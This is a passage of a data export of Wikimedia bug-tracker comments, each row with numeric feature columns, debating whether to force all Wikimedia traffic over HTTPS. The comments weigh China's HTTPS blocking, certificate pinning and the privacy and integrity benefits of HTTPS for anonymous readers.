Yes, please let's not consider this. We had do so nasty apache stuff to make that work and I'm glad we no longer do it.",,,1375300839,,PHID-USER-xs3vxsmgivmm2tuyxsrb,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-4,True,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,2.5,0.0,3.5,2.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,1.0,2.0,0.0,0.0,0.0,0.5,5.0,2.0,0.5,0.0,4.5,2.0,22.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0092256503327284,0.35813672111312767,"(In reply to comment #26)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, please let's not consider this. We had do so nasty apache stuff to make that work and I'm glad we no longer do it."
212338,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #24)
> An idea for dealing with China and other cases where HTTPS is blocked - could
> there be an 'http://insecure.wikipedia.org'? The inverse of the situation we
> had with 'https://secure.wikipedia.org'. At least the domain name advertises
> the problem to the user.
> 
> This is far less slick than a geolocated redirect, but in situations where
> HTTPS is blocked, I don't see any way to preserve usability and security at
> the
> same time. 
> 
> As far as I know, if HTTPS is blocked, we can't redirect them to HTTP,
> because
> they won't even reach our server. We could only 'upgrade', by redirecting
> from
> HTTP to HTTPS. But by then it's too late; the article they've requested was
> captured by intermediaries.
> 
> Maybe with 'insecure.wikipedia.org', savvy users in places like China would
> learn the trick, or use browser extensions to fix links. Presumably it would
> be
> the 'HTTP Everywhere' extension.

I somewhat like this concept for the advertising part too. We want to make sure that those who are unable to use https (ESPECIALLY if that's because of government interference like china) are able to use the site but we also should (in my mind) make sure that they KNOW they are unable to use it like normal and that their use is less secure because those users are often the catalyst for change.

If we had more time I'd say we should strive for a geolocated test in Hong Kong during Wikimania though I imagine even the suggestion of that makes ops shudder :).",,,1375297878,,PHID-USER-f6l3bchko2ogbi4poj24,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,4.5,3.0,1.0,0.5,1.0,1.5,0.5,0.0,0.5,0.0,4.5,0.5,3.5,13.5,0.0,2.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,6.5,1.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,9.5,1.5,1.5,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,16.5,4.5,1.0,5.5,0.0,0.5,0.0,0.5,4.0,1.0,0.5,0.0,7.0,13.5,12.0,0.0,0.0,0.0,7.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,3.6566265060240966,0.6204819277108434,"(In reply to comment #24)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I somewhat like this concept for the advertising part too. We want to make sure that those who are unable to use https (ESPECIALLY if that's because of government interference like china) are able to use the site but we also should (in my mind) make sure that they KNOW they are unable to use it like normal and that their use is less secure because those users are often the catalyst for change.

If we had more time I'd say we should strive for a geolocated test in Hong Kong during Wikimania though I imagine even the suggestion of that makes ops shudder :)."
212335,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #24)
> An idea for dealing with China and other cases where HTTPS is blocked - could
> there be an 'http://insecure.wikipedia.org'? The inverse of the situation we
> had with 'https://secure.wikipedia.org'. At least the domain name advertises
> the problem to the user.

It was wikiMedia, and no, please let's not do that again.

(In reply to comment #24)
> Maybe with 'insecure.wikipedia.org', savvy users in places like China would
> learn the trick, or use browser extensions to fix links. Presumably it would
> be the 'HTTP Everywhere' extension.

That wouldn't work.",,,1375297673,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-4,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,21.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,9.0,4.0,4.0,0.0,4.0,8.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9056603773584904,0.5471698113207547,"(In reply to comment #24)
QUOTE
QUOTE
QUOTE
QUOTE

It was wikiMedia, and no, please let's not do that again.

(In reply to comment #24)
QUOTE
QUOTE
QUOTE

That wouldn't work."
212332,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"**neilk** wrote:

An idea for dealing with China and other cases where HTTPS is blocked - could there be an 'http://insecure.wikipedia.org'? The inverse of the situation we had with 'https://secure.wikipedia.org'. At least the domain name advertises the problem to the user.

This is far less slick than a geolocated redirect, but in situations where HTTPS is blocked, I don't see any way to preserve usability and security at the same time. 

As far as I know, if HTTPS is blocked, we can't redirect them to HTTP, because they won't even reach our server. We could only 'upgrade', by redirecting from HTTP to HTTPS. But by then it's too late; the article they've requested was captured by intermediaries.

Maybe with 'insecure.wikipedia.org', savvy users in places like China would learn the trick, or use browser extensions to fix links. Presumably it would be the 'HTTP Everywhere' extension.",,,1375297298,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-4,True,0.5,0.0,0.0,2.0,1.5,3.5,0.5,0.5,0.0,0.5,2.0,6.5,0.0,0.5,0.5,3.0,0.5,8.0,12.0,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,1.0,1.0,1.0,0.0,4.5,1.5,1.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,1.5,0.5,3.0,0.5,0.0,0.0,0.0,0.0,12.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,6.0,3.5,12.0,2.0,2.5,7.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,6.0,12.0,5.5,0.0,4.5,0.0,6.0,0.0,1.0,1.5,0.5,1.0,0.5,0.5,0.0,3.8207716196846633,0.7267080745341614,"**neilk** wrote:

An idea for dealing with China and other cases where HTTPS is blocked - could there be an 'URL The inverse of the situation we had with 'URL At least the domain name advertises the problem to the user.

This is far less slick than a geolocated redirect, but in situations where HTTPS is blocked, I don't see any way to preserve usability and security at the same time. 

As far as I know, if HTTPS is blocked, we can't redirect them to HTTP, because they won't even reach our server. We could only 'upgrade', by redirecting from HTTP to HTTPS. But by then it's too late; the article they've requested was captured by intermediaries.

Maybe with 'insecure.wikipedia.org', savvy users in places like China would learn the trick, or use browser extensions to fix links. Presumably it would be the 'HTTP Everywhere' extension."
212328,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #22)
> Interesting! I didn't know this RFC existed.

That's probably because its not an RFC (yet) :P",,,1373436625,,PHID-USER-dpu5hmqvprhycqlkdzrk,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-7,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,4.0,0.0,9.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.9565217391304346,0.9130434782608695,"(In reply to comment #22)
QUOTE

That's probably because its not an RFC (yet) :P"
212322,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),Interesting! I didn't know this RFC existed. That's pretty cool. Maybe I'll add it to my Extension:SecureSessions (which contains all the session security stuff MW doesn't do :P).,,,1373435144,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-7,True,2.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,10.0,2.0,10.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.9,Interesting! I didn't know this RFC existed. That's pretty cool. Maybe I'll add it to my Extension:SecureSessions (which contains all the session security stuff MW doesn't do :P).
212316,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #20)
> Why would or should we be using certificate pinning? Are we really going to
> require all users to explicitly install the Wikimedia certificate on their
> browsers?

Of course not.  It's done automatically, such as through a HTTP header.  See https://tools.ietf.org/html/draft-ietf-websec-key-pinning-07 .  This is already implemented at least in Chrome (https://code.google.com/p/chromium/issues/detail?id=78369).  There's also a competing standard, http://tack.io/",,,1373430709,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-7,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,12.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,3.3392857142857144,0.7321428571428571,"(In reply to comment #20)
QUOTE
QUOTE
QUOTE

Of course not.  It's done automatically, such as through a HTTP header.  See URL .  This is already implemented at least in Chrome (URL  There's also a competing standard, URL"
212312,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #19)
> (In reply to comment #18)
> > It's possible to detect certificate spoofing if we're pinning
> > our certificates (which we should be doing).
> 
> I agree we *should*.  Are we?

Why would or should we be using certificate pinning? Are we really going to require all users to explicitly install the Wikimedia certificate on their browsers?",,,1373416433,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-7,True,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,11.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,19.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,6.0,11.0,9.0,4.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.723404255319149,"(In reply to comment #19)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Why would or should we be using certificate pinning? Are we really going to require all users to explicitly install the Wikimedia certificate on their browsers?"
212308,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #18)
> It's possible to detect certificate spoofing if we're pinning
> our certificates (which we should be doing).

I agree we *should*.  Are we?",,,1373415099,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,12.0,12.0,4.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4583333333333335,0.8333333333333334,"(In reply to comment #18)
QUOTE
QUOTE

I agree we *should*.  Are we?"
212300,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"I don't have very strong worries about certificate spoofing except in very targeted uses. It's possible to detect certificate spoofing if we're pinning our certificates (which we should be doing). If a vendor is caught allowing a government to spoof using their authority, they'll get yanked pretty quickly from all browsers.

The targeted cases /are/ particularly worrying, of course, but it's not something we can really control, and that person is likely already screwed.",,,1373405732,,PHID-USER-xs3vxsmgivmm2tuyxsrb,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-8,True,1.0,1.0,2.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,1.0,3.0,0.0,0.0,0.0,6.0,0.0,11.0,10.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,7.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,4.0,3.0,2.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,10.0,1.0,0.0,0.0,0.0,10.0,0.0,1.0,2.0,0.0,8.0,0.0,0.0,0.0,4.466666666666667,0.8222222222222222,"I don't have very strong worries about certificate spoofing except in very targeted uses. It's possible to detect certificate spoofing if we're pinning our certificates (which we should be doing). If a vendor is caught allowing a government to spoof using their authority, they'll get yanked pretty quickly from all browsers.

The targeted cases /are/ particularly worrying, of course, but it's not something we can really control, and that person is likely already screwed."
212291,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"I like to think that if we did enable it, China would mitm the connection and either serve it plaintext inside or spoof the cert. I can't imagine they would want to cut off their users. But I'm not sure if I'm up for playing chicken with them at the moment.

Also, one argument I haven't seen on this bug I keep meaning to add is that HTTPS is not just about privacy (even over HTTPS, it's pretty easy to do traffic analysis and guess what article a user is viewing), it's also about integrity. When a user isn't using HTTPS, anyone between the user and us can make the site say or not say whatever they like. For that reason, I think we owe it to our anons to try and aim for everyone using HTTPS, even if it's in a distant future.",,,1373337854,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-8,True,0.0,1.0,0.0,0.0,3.0,1.5,0.5,0.0,0.0,1.5,0.5,2.5,0.0,0.0,0.0,6.0,0.0,8.5,12.5,1.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,1.0,0.5,8.5,4.0,3.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,9.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,1.0,4.5,2.0,8.5,3.0,4.5,6.0,0.0,0.0,0.0,0.0,8.5,0.0,0.5,0.0,11.5,12.5,3.0,0.0,0.0,0.0,11.5,0.0,2.0,2.0,1.0,2.5,0.0,0.0,0.0,3.511904761904762,0.7261904761904762,"I like to think that if we did enable it, China would mitm the connection and either serve it plaintext inside or spoof the cert. I can't imagine they would want to cut off their users. But I'm not sure if I'm up for playing chicken with them at the moment.

Also, one argument I haven't seen on this bug I keep meaning to add is that HTTPS is not just about privacy (even over HTTPS, it's pretty easy to do traffic analysis and guess what article a user is viewing), it's also about integrity. When a user isn't using HTTPS, anyone between the user and us can make the site say or not say whatever they like. For that reason, I think we owe it to our anons to try and aim for everyone using HTTPS, even if it's in a distant future."
212284,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Since China has already blocked HTTPS access to Wikipedia, forcing all users to use HTTPS would be equivalent to cutting off the site entirely for everyone in mainland China. I don't support this -- I don't think education should be ""all or nothing"". Wikipedia can do plenty of good in China even with the ""three T's"" filtered out. 

Maybe I could support a geolocated redirect, or a redirect implemented in JavaScript which detects whether HTTPS works before redirecting.",,,1373336152,,PHID-USER-k6tmz5ylx4rzfl3bitse,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-8,True,2.0,1.0,1.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,1.0,7.0,15.0,2.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,2.0,16.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,3.0,15.0,10.0,0.0,4.0,0.0,3.0,0.0,1.0,2.0,0.0,3.0,0.0,0.0,0.0,4.293478260869565,0.6956521739130435,"Since China has already blocked HTTPS access to Wikipedia, forcing all users to use HTTPS would be equivalent to cutting off the site entirely for everyone in mainland China. I don't support this -- I don't think education should be ""all or nothing"". Wikipedia can do plenty of good in China even with the ""three T's"" filtered out. 

Maybe I could support a geolocated redirect, or a redirect implemented in JavaScript which detects whether HTTPS works before redirecting."
212276,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #13)
> Other bugs which might be resolved by a global move to https: 
> #48572 #47276 #37790 #35760 #34670 #31325 #29898

bug 48572, bug 47276, bug 37790, bug 35760, bug 34670, bug 31325, bug 29898.",,,1371540537,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,24.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8823529411764706,0.6176470588235294,"(In reply to comment #13)
QUOTE
QUOTE

bug 48572, bug 47276, bug 37790, bug 35760, bug 34670, bug 31325, bug 29898."
212267,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),Edit:  s/verdict/herdict/ . Also greatfire and similar country-specific trackers.,,,1371526173,,PHID-USER-fgzcdbj3je3ksnhufo47,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.055555555555555,0.8888888888888888,Edit:  s/verdict/herdict/ . Also greatfire and similar country-specific trackers.
212259,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #8)

Thanks, Ryan.  I think #1,2,3 in your list are worth pushing for.  Call that ""A"" and #4 & 5 ""B"".    

Implementing A seems more straightforward to plan for, and would cover all logged-in users and many anons.  It could be combined with a message to http-only readers (possibly a low-frequency message only seen every Nth page view).

Implementing B seems to call for experiment and discussion, and learning from other global sites that have thought about this.   

> Some countries completely block HTTPS, but allow HTTP. I dislike
> eavedropping by governments, but I also dislike not providing access to
> people too.

We might also crosscheck with projects such as verdict that maintain databases over time of what is blocked where; and monitor traffic changes to notice any drops in access.

(In reply to comment #12)
An on-wiki discussion would be helpful.  Hopefully it would distinguish between implementing A and B.  B involves bikeshed decisions that could prolong any discussion.

Other bugs which might be resolved by a global move to https: 
#48572 #47276 #37790 #35760 #34670 #31325 #29898",,,1371523704,,PHID-USER-fgzcdbj3je3ksnhufo47,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,False,,,-11,True,1.6666666666666667,0.0,0.0,1.0,0.0,5.0,0.6666666666666666,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,1.0,2.0,9.666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.6666666666666667,1.3333333333333333,0.0,2.6666666666666665,1.6666666666666667,0.6666666666666666,2.0,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,1.0,0.0,0.0,0.0,2.0,0.3333333333333333,0.6666666666666666,0.0,1.0,0.0,9.666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.0,2.0,2.0,9.0,0.6666666666666666,2.6666666666666665,4.0,0.0,0.0,0.0,4.666666666666667,5.666666666666667,0.0,5.0,0.0,1.6666666666666667,9.666666666666666,3.0,0.0,1.3333333333333333,0.0,1.6666666666666667,0.0,2.3333333333333335,2.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,3.8119832160928055,0.8002591632728618,"(In reply to comment #8)

Thanks, Ryan.  I think #1,2,3 in your list are worth pushing for.  Call that ""A"" and #4 & 5 ""B"".    

Implementing A seems more straightforward to plan for, and would cover all logged-in users and many anons.  It could be combined with a message to http-only readers (possibly a low-frequency message only seen every Nth page view).

Implementing B seems to call for experiment and discussion, and learning from other global sites that have thought about this.   

QUOTE
QUOTE
QUOTE

We might also crosscheck with projects such as verdict that maintain databases over time of what is blocked where; and monitor traffic changes to notice any drops in access.

(In reply to comment #12)
An on-wiki discussion would be helpful.  Hopefully it would distinguish between implementing A and B.  B involves bikeshed decisions that could prolong any discussion.

Other bugs which might be resolved by a global move to https: 
#48572 #47276 #37790 #35760 #34670 #31325 #29898"
212251,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #7)
> MZM: Where are users saying https doesn't work for them?  I don't see any
> other unaddressed concerns about implementing this bug or the related bugs.  

As Ryan says in comment 8, some people seem unable to support HTTPS for whatever reason. This matches my experience switching daily-article-l (<https://lists.wikimedia.org/mailman/listinfo/daily-article-l>) to use HTTPS links; out of 30,000-ish subscribers, a handful wrote in to say that they couldn't access the site any longer. Wikimedia wikis are much too large to not hit the law of large numbers: some percentage of our users will be unable to access the site over HTTPS. I don't think we currently know what percentage that is.

(In reply to comment #5)
> In order to get this bug moving forward, it would be good to have an
> associated wiki page or list here on Bugzilla of what needs to be done first.
> This bug's current ""see also""s seem like a good start toward this.

QFT.

In addition to the steps Ryan helpfully lays out in comment 8, I'd add ""assessment of the impact of forced HTTPS for anons"" somewhere in there, as I think we still don't fully know just how many people such an action would affect. Additional information and data points would be helpful.

I'm thinking that an [[mw:RFC]] or page on the Wikitech wiki would make sense here (to be clear: not to assess whether to implement some of these changes or not, simply to assess technical options to move forward [comment 8 in wiki form, basically]).",,,1371354287,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,1,True,,,-11,True,2.0,0.0,0.3333333333333333,0.0,2.3333333333333335,4.0,1.0,0.0,0.0,0.0,3.3333333333333335,1.6666666666666667,0.0,0.0,0.0,2.6666666666666665,0.0,8.0,13.333333333333334,0.0,4.333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,2.0,0.3333333333333333,3.6666666666666665,2.6666666666666665,0.0,3.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,12.666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,3.3333333333333335,1.6666666666666667,9.0,1.6666666666666667,1.3333333333333333,6.0,0.0,0.0,0.0,0.6666666666666666,7.333333333333333,0.0,2.0,0.0,3.0,13.333333333333334,3.3333333333333335,0.0,0.6666666666666666,0.0,3.0,0.0,1.0,1.0,0.0,0.6666666666666666,0.3333333333333333,0.0,2.0,3.654761904761905,0.7579365079365079,"(In reply to comment #7)
QUOTE
QUOTE

As Ryan says in comment 8, some people seem unable to support HTTPS for whatever reason. This matches my experience switching daily-article-l (<URL to use HTTPS links; out of 30,000-ish subscribers, a handful wrote in to say that they couldn't access the site any longer. Wikimedia wikis are much too large to not hit the law of large numbers: some percentage of our users will be unable to access the site over HTTPS. I don't think we currently know what percentage that is.

(In reply to comment #5)
QUOTE
QUOTE
QUOTE

QFT.

In addition to the steps Ryan helpfully lays out in comment 8, I'd add ""assessment of the impact of forced HTTPS for anons"" somewhere in there, as I think we still don't fully know just how many people such an action would affect. Additional information and data points would be helpful.

I'm thinking that an [[mw:RFC]] or page on the Wikitech wiki would make sense here (to be clear: not to assess whether to implement some of these changes or not, simply to assess technical options to move forward [comment 8 in wiki form, basically])."
